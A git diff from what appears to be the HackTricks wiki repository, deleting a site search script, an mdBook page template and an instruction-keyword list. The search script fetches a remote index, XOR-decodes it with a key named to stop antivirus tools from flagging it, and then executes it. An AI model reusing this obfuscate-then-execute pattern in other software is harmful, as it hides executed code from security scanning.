vpclmullqhqdq vpclmulhqhqdq vpclmulqdq vfmadd132ps vfmadd132pd vfmadd312ps vfmadd312pd vfmadd213ps vfmadd213pd vfmadd123ps vfmadd123pd vfmadd231ps vfmadd231pd vfmadd321ps vfmadd321pd vfmaddsub132ps vfmaddsub132pd vfmaddsub312ps vfmaddsub312pd vfmaddsub213ps vfmaddsub213pd vfmaddsub123ps vfmaddsub123pd vfmaddsub231ps vfmaddsub231pd vfmaddsub321ps vfmaddsub321pd vfmsub132ps vfmsub132pd vfmsub312ps vfmsub312pd vfmsub213ps vfmsub213pd vfmsub123ps vfmsub123pd vfmsub231ps vfmsub231pd vfmsub321ps vfmsub321pd vfmsubadd132ps vfmsubadd132pd vfmsubadd312ps vfmsubadd312pd vfmsubadd213ps vfmsubadd213pd vfmsubadd123ps vfmsubadd123pd vfmsubadd231ps vfmsubadd231pd vfmsubadd321ps vfmsubadd321pd vfnmadd132ps vfnmadd132pd vfnmadd312ps vfnmadd312pd vfnmadd213ps vfnmadd213pd vfnmadd123ps vfnmadd123pd vfnmadd231ps vfnmadd231pd vfnmadd321ps vfnmadd321pd vfnmsub132ps vfnmsub132pd vfnmsub312ps vfnmsub312pd vfnmsub213ps vfnmsub213pd vfnmsub123ps vfnmsub123pd vfnmsub231ps vfnmsub231pd vfnmsub321ps vfnmsub321pd vfmadd132ss vfmadd132sd vfmadd312ss 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vcvtps2udq vcvtsd2usi vcvtss2usi vcvttpd2udq vcvttps2udq vcvttsd2usi vcvttss2usi vcvtudq2pd vcvtudq2ps vcvtusi2sd vcvtusi2ss vexpandpd vexpandps vextractf32x4 vextractf64x4 vextracti32x4 vextracti64x4 vfixupimmpd vfixupimmps vfixupimmsd vfixupimmss vgetexppd vgetexpps vgetexpsd vgetexpss vgetmantpd vgetmantps vgetmantsd vgetmantss vinsertf32x4 vinsertf64x4 vinserti32x4 vinserti64x4 vmovdqa32 vmovdqa64 vmovdqu32 vmovdqu64 vpabsq vpandd vpandnd vpandnq vpandq vpblendmd vpblendmq vpcmpltd vpcmpled vpcmpneqd vpcmpnltd vpcmpnled vpcmpd vpcmpltq vpcmpleq vpcmpneqq vpcmpnltq vpcmpnleq vpcmpq vpcmpequd vpcmpltud vpcmpleud vpcmpnequd vpcmpnltud vpcmpnleud vpcmpud vpcmpequq vpcmpltuq vpcmpleuq vpcmpnequq vpcmpnltuq vpcmpnleuq vpcmpuq vpcompressd vpcompressq vpermi2d vpermi2pd vpermi2ps vpermi2q vpermt2d vpermt2pd vpermt2ps vpermt2q vpexpandd vpexpandq vpmaxsq vpmaxuq vpminsq vpminuq vpmovdb vpmovdw vpmovqb vpmovqd vpmovqw vpmovsdb vpmovsdw vpmovsqb vpmovsqd vpmovsqw vpmovusdb vpmovusdw vpmovusqb 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\ No newline at end of file
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
deleted file mode 100644
index 94f4bddebc0..00000000000
--- a/theme/ht_searcher.js
+++ /dev/null
@@ -1,266 +0,0 @@
-/* ht_searcher.js ────────────────────────────────────────────────
-   Dual‑index Web‑Worker search (HackTricks + HackTricks‑Cloud)
-   · keeps working even if one index fails
-   · cloud results rendered **blue**
-   · ⏳ while loading → 🔍 when ready
-*/
-
-(() => {
-    "use strict";
-  
-    /* ───────────── 0. helpers (main thread) ───────────── */
-    const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); };
-  
-    /* ───────────── 1. Web‑Worker code ─────────────────── */
-    const workerCode = `
-      self.window = self;
-      self.search = self.search || {};
-      const abs = p => location.origin + p;
-  
-      /* 1 — elasticlunr */
-      try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); }
-      catch { importScripts(abs('/elasticlunr.min.js')); }
-  
-    /* 2 — XOR decryption function */
-    function xorDecrypt(encryptedData, key){
-      const keyBytes = new TextEncoder().encode(key);
-      const decrypted = new Uint8Array(encryptedData.length);
-      for(let i = 0; i < encryptedData.length; i++){
-        decrypted[i] = encryptedData[i] ^ keyBytes[i % keyBytes.length];
-      }
-      return decrypted.buffer;
-    }
-
-    /* 3 — decompress gzip data */
-    async function decompressGzip(arrayBuffer){
-      if(typeof DecompressionStream !== 'undefined'){
-        /* Modern browsers: use native DecompressionStream */
-        const stream = new Response(arrayBuffer).body.pipeThrough(new DecompressionStream('gzip'));
-        const decompressed = await new Response(stream).arrayBuffer();
-        return new TextDecoder().decode(decompressed);
-      } else {
-        /* Fallback: use pako library */
-        if(typeof pako === 'undefined'){
-          try { importScripts('https://cdn.jsdelivr.net/npm/pako@2.1.0/dist/pako.min.js'); }
-          catch(e){ throw new Error('pako library required for decompression: '+e); }
-        }
-        const uint8Array = new Uint8Array(arrayBuffer);
-        const decompressed = pako.ungzip(uint8Array, {to: 'string'});
-        return decompressed;
-      }
-    }
-
-    /* 4 — load a single index (remote → local) */
-    async function loadIndex(remote, local, isCloud=false){
-      const XOR_KEY = "Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g";
-      let rawLoaded = false;
-      if(remote){
-        /* Try ONLY compressed version from GitHub (remote already includes .js.gz) */
-        try {
-          const r = await fetch(remote,{mode:'cors'});
-          if (r.ok) {
-            const encryptedCompressed = await r.arrayBuffer();
-            /* Decrypt first */
-            const compressed = xorDecrypt(new Uint8Array(encryptedCompressed), XOR_KEY);
-            /* Then decompress */
-            const text = await decompressGzip(compressed);
-            importScripts(URL.createObjectURL(new Blob([text],{type:'application/javascript'})));
-            rawLoaded = true;
-            console.log('Loaded encrypted+compressed from GitHub:',remote);
-          }
-        } catch(e){ console.warn('encrypted+compressed GitHub',remote,'failed →',e); }
-      }
-      /* If remote (GitHub) failed, fall back to local uncompressed file */
-      if(!rawLoaded && local){
-        try { 
-          importScripts(abs(local)); 
-          rawLoaded = true;
-          console.log('Loaded local fallback:',local);
-        }
-        catch(e){ console.error('local',local,'failed →',e); }
-      }
-      if(!rawLoaded) return null;                 /* give up on this index */
-      const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud };
-      delete self.search.index; delete self.search.doc_urls;
-      return data;
-    }
-
-    async function loadWithFallback(remotes, local, isCloud=false){
-      /* Exhaust every GitHub-hosted index before touching the production origin. */
-      for (const remote of remotes){
-        const data = await loadIndex(remote, null, isCloud);
-        if(data) return data;
-      }
-
-      return local ? loadIndex(null, local, isCloud) : null;
-    }
-    
-    let built = [];
-    const MAX = 30, opts = {bool:'AND', expand:true};
-    
-    self.onmessage = async ({data}) => {
-      if(data.type === 'init'){
-        const lang = data.lang || 'en';
-        const searchindexBase = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-searchindex/master';
-
-        /* Remote sources are .js.gz (compressed), local fallback is .js (uncompressed) */
-        const mainFilenames = Array.from(new Set(['searchindex-' + lang + '.js.gz', 'searchindex-en.js.gz']));
-        const cloudFilenames = Array.from(new Set(['searchindex-cloud-' + lang + '.js.gz', 'searchindex-cloud-en.js.gz']));
-
-        const MAIN_REMOTE_SOURCES  = mainFilenames.map(function(filename) { return searchindexBase + '/' + filename; });
-        const CLOUD_REMOTE_SOURCES = cloudFilenames.map(function(filename) { return searchindexBase + '/' + filename; });
-
-        const indices = [];
-        /* Local fallback on book origin exists as /searchindex.js (mdBook default output). */
-        const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main)  indices.push(main);
-        /* Cloud local fallback does not exist on book origin; rely on remote cloud index only. */
-        const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, null, true); if(cloud) indices.push(cloud);
-        if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }
-  
-        /* build index objects */
-        built = indices.map(d => ({
-          idx : elasticlunr.Index.load(d.json),
-          urls: d.urls,
-          cloud: d.cloud,
-          base: d.cloud ? 'https://cloud.hacktricks.wiki/' : ''
-        }));
-  
-        postMessage({ready:true});
-        return;
-      }
-      
-      const q = data.query || data;
-      if(!q){ postMessage([]); return; }
-  
-          const all = [];
-          for(const s of built){
-            const res = s.idx.search(q,opts);
-            if(!res.length) continue;
-            const max = res[0].score || 1;
-            res.forEach(r => {
-              const doc = s.idx.documentStore.getDoc(r.ref);
-              all.push({
-                norm : r.score / max,
-                title: doc.title,
-                body : doc.body,
-                breadcrumbs: doc.breadcrumbs,
-                url  : s.base + s.urls[r.ref],
-                cloud: s.cloud
-              });
-            });
-          }
-          all.sort((a,b)=>b.norm-a.norm);
-          postMessage(all.slice(0,MAX));
-    };
-    `;
-  
-    /* ───────────── 2. spawn worker ───────────── */
-    const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'})));
-    
-    /* ───────────── 2.1. initialize worker with language ───────────── */
-    const htmlLang = (document.documentElement.lang || 'en').toLowerCase();
-    const lang = htmlLang.split('-')[0];
-    worker.postMessage({type: 'init', lang: lang});
-  
-    /* ───────────── 3. DOM refs ─────────────── */
-    const wrap    = document.getElementById('search-wrapper');
-    const bar     = document.getElementById('searchbar');
-    const list    = document.getElementById('searchresults');
-    const listOut = document.getElementById('searchresults-outer');
-    const header  = document.getElementById('searchresults-header');
-    const icon    = document.getElementById('search-toggle');
-
-    if(!wrap || !bar || !list || !listOut || !header || !icon) {
-      console.error('[HT Search] Missing DOM elements:', {wrap:!!wrap, bar:!!bar, list:!!list, listOut:!!listOut, header:!!header, icon:!!icon});
-      return;
-    }
-
-    /* Clear icon content and use emoji states directly */
-    icon.textContent = '⏳';
-    icon.setAttribute('aria-label','Loading search …');
-    icon.setAttribute('title','Search is loading, please wait...');
-
-    const setIconState = state => {
-      if(state === 'ready'){
-        icon.textContent = '🔍';
-        icon.setAttribute('aria-label','Open search (S)');
-        icon.removeAttribute('title');
-      } else if(state === 'error'){
-        icon.textContent = '❌';
-        icon.setAttribute('aria-label','Search unavailable');
-        icon.setAttribute('title','Search is unavailable');
-      } else {
-        icon.textContent = '⏳';
-        icon.setAttribute('aria-label','Loading search …');
-        icon.setAttribute('title','Search is loading, please wait...');
-      }
-    };
-
-  
-    const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13;
-    let debounce, teaserCount=0;
-  
-    /* ───────────── helpers (teaser, metric) ───────────── */
-    const escapeHTML = (()=>{const M={'&':'&amp;','<':'&lt;','>':'&gt;','"':'&#34;','\'':'&#39;'};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})();
-    const URL_MARK='highlight';
-    function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;}
-  
-    function makeTeaser(body,terms){
-      const stem=w=>elasticlunr.stemmer(w.toLowerCase());
-      const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30;
-      const W=[],sents=body.toLowerCase().split('. ');
-      let i=0,v=W_F,found=false;
-      sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;});
-      if(!W.length) return body;
-      const win=Math.min(W.length,WIN);
-      const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)];
-      for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1];
-      const best=found?sums.lastIndexOf(Math.max(...sums)):0;
-      const out=[]; i=W[best][2];
-      for(let k=best;k<best+win;k++){const [w,wt,pos]=W[k]; if(i<pos){out.push(body.substring(i,pos)); i=pos;} if(wt===W_S) out.push('<em>'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push('</em>'); i=pos+w.length;}
-      return out.join('');
-    }
-  
-    function format(d,terms){
-      const teaser=makeTeaser(escapeHTML(d.body),terms);
-      teaserCount++;
-      const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27');
-      const parts=d.url.split('#'); if(parts.length===1) parts.push('');
-      const abs=d.url.startsWith('http');
-      const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`;
-      const style=d.cloud?" style=\"color:#1e88e5\"":"";
-      const isCloud=d.cloud?" [Cloud]":" [Book]";
-      return `<a href="${href}" aria-details="teaser_${teaserCount}"${style}>`+
-             `${d.breadcrumbs}${isCloud}<span class="teaser" id="teaser_${teaserCount}" aria-label="Search Result Teaser">${teaser}</span></a>`;
-    }
-  
-    /* ───────────── UI control ───────────── */
-    function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}}
-    function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();}
-  
-    icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden')));
-  
-    document.addEventListener('keydown',e=>{
-      if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return;
-      const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName);
-      if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();}
-      else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}}
-      else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}}
-    });
-  
-    bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage({query: e.target.value.trim()}),120); });
-  
-    /* ───────────── worker messages ───────────── */
-    worker.onmessage = ({data}) => {
-      if(data && data.ready!==undefined){
-        setIconState(data.ready ? 'ready' : 'error');
-        return;
-      }
-      const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);
-      header.textContent=metric(docs.length,q);
-      clear(list);
-      docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);});
-      listOut.classList.toggle('hidden',!docs.length);
-    };
-  })();
-  
diff --git a/theme/index.hbs b/theme/index.hbs
deleted file mode 100644
index 82c73899f21..00000000000
--- a/theme/index.hbs
+++ /dev/null
@@ -1,745 +0,0 @@
-<!DOCTYPE HTML>
-<html lang="{{ language }}" class="{{ default_theme }} sidebar-visible" dir="{{ text_direction }}">
-    <head>
-        <!-- Book generated using mdBook -->
-        <meta charset="UTF-8">
-        <title>{{ title }}</title>
-        {{#if is_print }}
-        <meta name="robots" content="noindex">
-        {{/if}}
-        {{#if base_url}}
-        <base href="{{ base_url }}">
-        {{/if}}
-
-        <!-- Custom HTML head -->
-        {{> head}}
-
-        <meta name="description" content="{{ description }}">
-        <meta name="viewport" content="width=device-width, initial-scale=1">
-        <meta name="theme-color" content="#ffffff">
-
-        {{#if favicon_svg}}
-        <link rel="icon" href="{{ path_to_root }}favicon.svg">
-        {{/if}}
-        {{#if favicon_png}}
-        <link rel="shortcut icon" href="{{ path_to_root }}favicon.png">
-        {{/if}}
-        <link rel="stylesheet" href="{{ path_to_root }}css/variables.css">
-        <link rel="stylesheet" href="{{ path_to_root }}css/general.css">
-        <link rel="stylesheet" href="{{ path_to_root }}css/chrome.css">
-        {{#if print_enable}}
-        <link rel="stylesheet" href="{{ path_to_root }}css/print.css" media="print">
-        {{/if}}
-
-        <!-- Fonts -->
-        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
-        <link rel="preconnect" href="https://fonts.googleapis.com">
-        <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
-        <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500;700&display=swap">
-        {{#if copy_fonts}}
-        <link rel="stylesheet" href="{{ path_to_root }}fonts/fonts.css">
-        {{/if}}
-
-        <!-- Highlight.js Stylesheets -->
-        <link rel="stylesheet" href="{{ path_to_root }}highlight.css">
-        <link rel="stylesheet" href="{{ path_to_root }}tomorrow-night.css">
-        <link rel="stylesheet" href="{{ path_to_root }}ayu-highlight.css">
-
-        <!-- Custom theme stylesheets -->
-        {{#each additional_css}}
-        <link rel="stylesheet" href="{{ ../path_to_root }}{{ this }}">
-        {{/each}}
-
-        {{#if mathjax_support}}
-        <!-- MathJax -->
-        <script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
-        {{/if}}
-
-        <!-- Provide site root to javascript -->
-        <script>
-            var path_to_root = "{{ path_to_root }}";
-            var lang = "{{ language }}";
-            var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "{{ preferred_dark_theme }}" : "{{ default_theme }}";
-        </script>
-        <!-- Start loading toc.js asap -->
-        <script src="{{ path_to_root }}toc.js"></script>
-
-    </head>
-    <body>
-    <div id="body-container">
-        <div class="bg-animation" aria-hidden="true"></div>
-        <div class="grid-overlay" aria-hidden="true"></div>
-        <div class="particles" aria-hidden="true"></div>
-        <!-- Work around some values being stored in localStorage wrapped in quotes -->
-        <script>
-            try {
-                var theme = localStorage.getItem('mdbook-theme');
-                var sidebar = localStorage.getItem('mdbook-sidebar');
-
-                if (theme.startsWith('"') && theme.endsWith('"')) {
-                    localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
-                }
-
-                if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
-                    localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
-                }
-            } catch (e) { }
-        </script>
-
-        <!-- Set the theme before any content is loaded, prevents flash -->
-        <script>
-            var theme;
-            try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
-            if (theme === null || theme === undefined) { theme = default_theme; }
-            const html = document.documentElement;
-            html.classList.remove('{{ default_theme }}')
-            html.classList.add(theme);
-            html.classList.add("js");
-        </script>
-
-        <input type="checkbox" id="sidebar-toggle-anchor" class="hidden">
-
-        <!-- Hide / unhide sidebar before it is displayed -->
-        <script>
-            var sidebar = null;
-            var sidebar_toggle = document.getElementById("sidebar-toggle-anchor");
-            var body = document.querySelector("body");
-            if (document.body.clientWidth >= 800) {
-                try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
-                sidebar = sidebar || 'visible';
-            } else {
-                sidebar = 'hidden';
-            }
-            sidebar_toggle.checked = sidebar === 'visible';
-            html.classList.remove('sidebar-visible');
-            html.classList.add("sidebar-" + sidebar);
-            body.classList.remove('sidebar-visible');
-            body.classList.add("sidebar-" + sidebar);
-        </script>
-
-        <div id="page-wrapper" class="page-wrapper">
-            {{#if search_enabled}}
-            <div id="search-wrapper" class="hidden">
-                <div id="search-modal">
-                    <form id="searchbar-outer" class="searchbar-outer">
-                        <span class="fa fa-search"></span>
-                        <input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
-                    </form>
-                    <div id="searchresults-outer" class="searchresults-outer hidden">
-                        <div id="searchresults-header" class="searchresults-header"></div>
-                        <ul id="searchresults">
-                        </ul>
-                    </div>
-                </div>
-            </div>
-            {{/if}}
-
-            <div class="page">
-                {{> header}}
-                <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky">
-                    <div class="menu-bar-container">
-                        <div class="left-buttons">
-                            <label id="sidebar-toggle" class="icon-button" for="sidebar-toggle-anchor" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
-                                <i class="fa fa-bars"></i>
-                            </label>
-                            <a href="/">
-                                <h1 class="menu-title">
-                                    <img class="menu-title-logo" src="../../../../../images/HACKTRICKS-logo.svg" alt="" aria-hidden="true">
-                                    {{ book_title }}
-                                </h1>
-                            </a>
-
-                        </div>
-
-
-                        <div class="right-buttons">
-                            <div id="menubar-collapse">
-                                <a class="menu-bar-link" href="https://hacktricks-training.com" target="_blank">
-                                    HT Training
-                                </a>
-                                <a class="menu-bar-link" href="https://cloud.hacktricks.wiki/" target="_blank">
-                                    HT Cloud
-                                </a>
-                                <a class="menu-bar-link" href="https://tools.hacktricks.wiki/" target="_blank">
-                                    HT Tools
-                                </a>
-                                <a class="menu-bar-link" href="https://friends.hacktricks.wiki/" target="_blank">
-                                    HT Friends
-                                </a>
-                                <a class="menu-bar-link menu-bar-link-request-update" href="https://tools.hacktricks.wiki/hacktricks-research-request/index.html" target="_blank" rel="noopener noreferrer" data-research-request-link="true">
-                                    Request update
-                                </a>
-                                <div class="menu-socials">
-                                    <button type="button" class="menu-bar-link menu-socials-toggle" aria-haspopup="true">
-                                        Socials <span class="menu-socials-caret" aria-hidden="true">▾</span>
-                                    </button>
-                                    <div class="menu-socials-popup" aria-label="Social links" role="menu">
-                                        <a href="https://github.com/HackTricks-wiki" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-github" aria-hidden="true"></i><span>GitHub</span></a>
-                                        <a href="https://github.com/sponsors/carlospolop" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-heart" aria-hidden="true"></i><span>Sponsor</span></a>
-                                        <a href="https://www.linkedin.com/company/hacktricks" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-linkedin" aria-hidden="true"></i><span>Linkedin</span></a>
-                                        <a href="https://twitter.com/hacktricks_live" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-twitter" aria-hidden="true"></i><span>X</span></a>
-                                        <a href="https://www.youtube.com/@hacktricks_LIVE" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-youtube-play" aria-hidden="true"></i><span>YouTube</span></a>
-                                        <a href="https://discord.gg/G6pSQyqpAZ" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M20.317 4.3698a19.7913 19.7913 0 0 0-4.8851-1.5152.0741.0741 0 0 0-.0785.0371c-.211.3753-.4447.8648-.6083 1.2495-1.8447-.2762-3.68-.2762-5.4868 0-.1636-.3933-.4058-.8742-.6177-1.2495a.077.077 0 0 0-.0785-.037 19.7363 19.7363 0 0 0-4.8852 1.515.0699.0699 0 0 0-.0321.0277C.5334 9.0458-.319 13.5799.0992 18.0578a.0824.0824 0 0 0 .0312.0561c2.0528 1.5076 4.0413 2.4228 5.9929 3.0294a.0777.0777 0 0 0 .0842-.0276c.4616-.6304.8731-1.2952 1.226-1.9942a.076.076 0 0 0-.0416-.1057c-.6528-.2476-1.2743-.5495-1.8722-.8923a.077.077 0 0 1-.0076-.1277c.1258-.0943.2517-.1923.3718-.2914a.0743.0743 0 0 1 .0776-.0105c3.9278 1.7933 8.18 1.7933 12.0614 0a.0739.0739 0 0 1 .0785.0095c.1202.099.246.1981.3728.2924a.077.077 0 0 1-.0066.1276 12.2986 12.2986 0 0 1-1.873.8914.0766.0766 0 0 0-.0407.1067c.3604.698.7719 1.3628 1.225 1.9932a.076.076 0 0 0 .0842.0286c1.961-.6067 3.9495-1.5219 6.0023-3.0294a.077.077 0 0 0 .0313-.0552c.5004-5.177-.8382-9.6739-3.5485-13.6604a.061.061 0 0 0-.0312-.0286zM8.02 15.3312c-1.1825 0-2.1569-1.0857-2.1569-2.419 0-1.3332.9555-2.4189 2.157-2.4189 1.2108 0 2.1757 1.0952 2.1568 2.419 0 1.3332-.9555 2.4189-2.1569 2.4189zm7.9748 0c-1.1825 0-2.1569-1.0857-2.1569-2.419 0-1.3332.9554-2.4189 2.1569-2.4189 1.2108 0 2.1757 1.0952 2.1568 2.419 0 1.3332-.946 2.4189-2.1568 2.4189z"/></svg><span>Discord</span></a>
-                                        <a href="https://t.me/+VYfD6Z1pqtbB5kcF" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-telegram" aria-hidden="true"></i><span>Telegram</span></a>
-                                    </div>
-                                </div>
-                            </div>
-                            <div class="icons">
-                                <div id="menubar-collapse-toggle" class="icon-button" type="button" title="Toggle menu bar" aria-label="Toggle Menu bar" aria-expanded="false" aria-controls="collapse">
-                                    <span class="menu-hamburger" aria-hidden="true">≡</span>
-                                    <div id="menubar-collapse-popup" class="menubar-collapse-popup" aria-label="Menu" role="menu">
-                                        <a href="https://hacktricks-training.com" target="_blank" role="menuitem" class="menu-bar-link">HT Training</a>
-                                        <a href="https://cloud.hacktricks.wiki/" target="_blank" role="menuitem" class="menu-bar-link">Cloud HT</a>
-                                        <a href="https://tools.hacktricks.wiki/" target="_blank" role="menuitem" class="menu-bar-link">HT Tools</a>
-                                        <a href="https://friends.hacktricks.wiki/" target="_blank" role="menuitem" class="menu-bar-link">HT Friends</a>
-                                        <a href="https://tools.hacktricks.wiki/hacktricks-research-request/index.html" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link menu-bar-link-request-update" data-research-request-link="true">Request update</a>
-                                        <button type="button" role="menuitem" class="menu-bar-link menu-action" data-toggle-socials="true">
-                                            <span>Socials</span> ▾
-                                        </button>
-                                        <div id="menubar-socials-popup" class="menubar-socials-popup" aria-label="Social links" role="menu">
-                                            <a href="https://github.com/HackTricks-wiki" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-github" aria-hidden="true"></i><span>GitHub</span></a>
-                                            <a href="https://github.com/sponsors/carlospolop" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-heart" aria-hidden="true"></i><span>Sponsor</span></a>
-                                            <a href="https://www.linkedin.com/company/hacktricks" target="_blank" rel="noopener noreferrer" role="menuitem" class="menu-bar-link"><i class="fa fa-linkedin" aria-hidden="true"></i><span>Linkedin</span></a>
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-        <!-- Google Analytics Tag (GA4) -->
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-        <script src="{{ path_to_root }}editor.js"></script>
-        <script src="{{ path_to_root }}mode-rust.js"></script>
-        <script src="{{ path_to_root }}theme-dawn.js"></script>
-        <script src="{{ path_to_root }}theme-tomorrow_night.js"></script>
-        {{/if}}
-
-        {{#if search_js}}
-        <script src="{{ path_to_root }}elasticlunr.min.js"></script>
-        <script src="{{ path_to_root }}mark.min.js"></script>
-        <!--<script src="{{ path_to_root }}searcher.js"></script>-->
-        {{/if}}
-
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-        <script src="{{ path_to_root }}highlight.js"></script>
-        <script src="{{ path_to_root }}book.js"></script>
-        <script>
-            (function initSideTocToggle() {
-                var toggle = document.getElementById('sidetoc-toggle');
-                if (!toggle) { return; }
-                var root = document.documentElement;
-                root.classList.remove('sidetoc-hidden');
-                toggle.setAttribute('aria-pressed', 'false');
-                toggle.addEventListener('click', function () {
-                    var hidden = root.classList.toggle('sidetoc-hidden');
-                    toggle.setAttribute('aria-pressed', hidden ? 'true' : 'false');
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-            })();
-        </script>
-        <script>
-            (function initMenuActions() {
-                document.querySelectorAll('[data-theme-toggle]').forEach(function (el) {
-                    el.addEventListener('click', function () {
-                        var id = el.getAttribute('data-theme-toggle');
-                        var btn = document.getElementById(id);
-                        if (btn) { btn.click(); }
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-                document.querySelectorAll('[data-research-request-link="true"]').forEach(function (el) {
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-                        currentUrl.search = '';
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-                        e.preventDefault();
-                        e.stopPropagation();
-                        var popup = document.getElementById('menubar-collapse-popup');
-                        var langPopup = document.getElementById('menubar-languages-popup');
-                        var langToggle = document.getElementById('menubar-languages-toggle');
-                        var collapseToggle = document.getElementById('menubar-collapse-toggle');
-                        if (!popup || !langPopup) { return; }
-                        popup.classList.toggle('show-translations');
-                        popup.style.display = 'flex';
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-                    socialsBtn.addEventListener('click', function (e) {
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-                        e.stopPropagation();
-                        var popup = document.getElementById('menubar-collapse-popup');
-                        if (!popup) { return; }
-                        popup.classList.toggle('show-socials');
-                        popup.style.display = 'flex';
-                        var collapseToggle = document.getElementById('menubar-collapse-toggle');
-                        if (collapseToggle) { collapseToggle.setAttribute('aria-expanded', true); }
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-                if (popupEl) {
-                    popupEl.addEventListener('click', function (e) {
-                        e.stopPropagation();
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-                var searchBtn = document.querySelector('[data-toggle-search="true"]');
-                if (searchBtn) {
-                    searchBtn.addEventListener('click', function () {
-                        var toggle = document.getElementById('search-toggle');
-                        if (toggle) { toggle.click(); }
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-        <script>
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-                var leftToggle = document.getElementById('sidebar-float-toggle');
-                var rightToggle = document.getElementById('sidetoc-toggle');
-                var sidebar = document.getElementById('sidebar');
-                var sidebarAnchor = document.getElementById('sidebar-toggle-anchor');
-                var sidetoc = document.querySelector('.sidetoc');
-                if (!leftToggle || !rightToggle) { return; }
-
-                function getPagePadding() {
-                    var value = getComputedStyle(document.documentElement).getPropertyValue('--page-padding');
-                    var parsed = parseFloat(value);
-                    return Number.isFinite(parsed) ? parsed : 15;
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-                    var pagePadding = getPagePadding();
-                    var sidebarVisible = sidebarAnchor ? sidebarAnchor.checked : true;
-
-                    if (!sidebarVisible || !sidebar || sidebar.offsetParent === null) {
-                        leftToggle.style.left = Math.max(8, pagePadding) + 'px';
-                    } else {
-                        var sidebarRect = sidebar.getBoundingClientRect();
-                        leftToggle.style.left = Math.round(sidebarRect.right - 14) + 'px';
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-
-                function updateRightTogglePosition() {
-                    var pagePadding = getPagePadding();
-                    var sidetocHidden = document.documentElement.classList.contains('sidetoc-hidden');
-                    if (!sidetoc || sidetoc.offsetParent === null || sidetocHidden) {
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-                    } else {
-                        var sidetocRect = sidetoc.getBoundingClientRect();
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-                    }
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-
-                function updatePositions() {
-                    updateLeftTogglePosition();
